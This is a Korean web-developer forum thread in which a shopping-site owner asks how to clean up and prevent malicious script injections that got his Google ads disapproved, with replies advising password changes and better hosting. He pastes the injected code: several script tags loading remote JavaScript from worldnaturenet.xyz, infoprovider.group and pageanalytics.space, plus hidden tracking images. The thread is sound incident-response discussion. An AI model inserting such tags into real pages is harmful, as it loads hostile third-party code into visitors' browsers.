[긴급]PHP 원격 코드 실행 취약점 안내
이전 목록 다음
채택완료

악성코드가 어마무시 합니다.

기기라성
프로필 보기작성한 질문작성한 답변전체 작성글 보기전체 댓글 보기
 2022-08-09 (화) 20:40:45 4,378

제가 지난번에 올린 글은 

https://sir.kr/qa/469350?stx=%EA%B5%AC%EA%B8%80+%EA%B4%91%EA%B3%A0&sst=wr_num&sop=and&unanswered=0&unadopted=0&adopted=0&s_tag= 

입니다. 구글광고에서 계속 비승인이 나서 백방으로 알아봤습니다.

카페24에서 친절하게 알려줘서 오늘 대작업을 끝냈습니다.

상품상세페이지 및 상하단,

게시글 곳곳과 상하단,

쇼핑몰 상품 카테고리 상하단.. 가리지 않고 심어져 있었습니다. 

요놈입니다. worldnature.. 어쩌고 저쩌고...

1890427459_1660045006.3232.jpg

오늘 게시판들 다 돌아다니고 상품들 전수조사하고..

DB에 들어가서 검색으로 다 지워냈습니다.

그런데 제가 궁금한것은...

오늘 제가 지우고 비번들을 모두 바꾸긴했습니다. 그런데..

그.. 사이트 어딘가에 심어져있는 어플리케이션이 스스로 작동하면서

또, 각종 상품들이나 게시판을 오염시키는게 가능할까요??

글을 쓰다 생각해보니 쇼핑몰 기본설정 아래에도 심어놨더라구요.

하..

앞으로 이런일이 생기지 않도록 어떻게 준비해야 할까요?? 

참고로 소스는 아래와 같습니다.

Copy 
<script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&amp;r=26"></script>

<script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&amp;r=31"></script>

<script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&amp;r=17"></script>

<script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&amp;r=22"></script>

<script type="text/javascript" src="http://infoprovider.group/addons/lnkr5.min.js"></script>

<script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&amp;r=5"></script>

<script type="text/javascript" src="http://infoprovider.group/addons/lnkr5.min.js"></script><img style="width:0;height:0;display:none;visibility:hidden;" src="http://pageanalytics.space/metric/?mid=&amp;wid=52096&amp;sid=&amp;tid=5793&amp;rid=OPTOUT_RESPONSE_OK&amp;t=1528162274091">

<script type="text/javascript" src="http://pageanalytics.space/optout/set/lat?jsonp=__twb_cb_603677&amp;key=16a168f0af2da0c3c2&amp;cv=1528162270&amp;t=1528162274091"></script>

<script type="text/javascript" src="http://pageanalytics.space/optout/set/lt?jsonp=__twb_cb_12661691&amp;key=16a168f0af2da0c3c2&amp;cv=3992&amp;t=1528162274091"></script>

<script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&amp;r=47"></script>

<script type="text/javascript" src="http://pageanalytics.space/addons/lnkr5.min.js"></script><img style="width:0;height:0;display:none;visibility:hidden;" src="http://pageanalytics.space/metric/?mid=cd1d2&amp;wid=52096&amp;sid=&amp;tid=5793&amp;rid=MNTZ_LOADED&amp;t=1528162274900">
그누보드 악성코드
|

답변 4개 / 댓글 5개

채택된 답변
+20 포인트
엑엑스엠엘
프로필 보기작성한 질문작성한 답변전체 작성글 보기전체 댓글 보기
 2022-08-10 (수) 05:38:52

ftp 비번부터 변경하세요

답변에 대한 댓글 1개

기라성
프로필 보기작성한 질문작성한 답변전체 작성글 보기전체 댓글 보기
 2022-08-10 (수) 15:44:19
네 관리자부터 DB FTP까지 일괄 바꿨습니다.
블블랙캣77
프로필 보기작성한 질문작성한 답변전체 작성글 보기전체 댓글 보기
 2022-08-10 (수) 10:31:16

data 폴더의 첨부 파일 중에서 악성코드가 심어져 있는 파일을 한번 찾아보셔야 할거 같습니다.

답변에 대한 댓글 1개

기라성
프로필 보기작성한 질문작성한 답변전체 작성글 보기전체 댓글 보기
 2022-08-10 (수) 15:45:25
블랙캣님 몇일전부터 data폴더를 보고있는데요. 첨부파일이 오염된걸 어떻게 알 수 있을까요??
기기라성
프로필 보기작성한 질문작성한 답변전체 작성글 보기전체 댓글 보기
 2022-08-09 (화) 22:17:51

보안인증서랑은 달았는데.. 다른건 속수무책이네요. 개발자가 이런걸 잘 모르는 분이었고 그나마 지금은 연락이 안됩니다.

저도 광고가 중단되고 매출이 떨어지니 이제서야 발등에 불이 떨어진 거죠. 더 알아 봐야 되겠습니다.

비버팩토리
프로필 보기작성한 질문작성한 답변전체 작성글 보기전체 댓글 보기
 2022-08-09 (화) 22:07:29

일단 서버쪽에 보안망 좋은 업체로 가셔서 쓰신게 좋구요

의뢰를 해서 오염된부분 복구 작업 하셔야될거에요

답변에 대한 댓글 3개

기라성
프로필 보기작성한 질문작성한 답변전체 작성글 보기전체 댓글 보기
 2022-08-09 (화) 22:10:00
네. 다시 씨름해야겠습니다. 아까 광고올리고 집에 왔는데 또 손상된사이트라며 비승인 났네요. 지독합니다..
리오닥터
프로필 보기작성한 질문작성한 답변전체 작성글 보기전체 댓글 보기
 2022-08-09 (화) 22:14:56
웹킷같은거 저도 당해봤거든요 다 xss 보안 같은거 신경 안쓰다가.. 당해요..
업로드쪽도 커스텀 한거 있으면 기능에서 처리해야되구요 쿠키 쓸때도 조심히 해야하고 csrf 같은것도 좀 해야되고..
이런거 신경 안쓰고 하다가 구멍나요.. 저도 엄청 개고생해봐서.. https 보안인증서도 좀 다셔야하구요..
리오닥터
프로필 보기작성한 질문작성한 답변전체 작성글 보기전체 댓글 보기
 2022-08-09 (화) 22:16:17
이런것들 신경 쓰기 힘들면 보안쎈업체로 이전해야되요 업체에서 방어해주고 문자로 알림해주고 이러거든요

답변을 작성하려면 로그인이 필요합니다.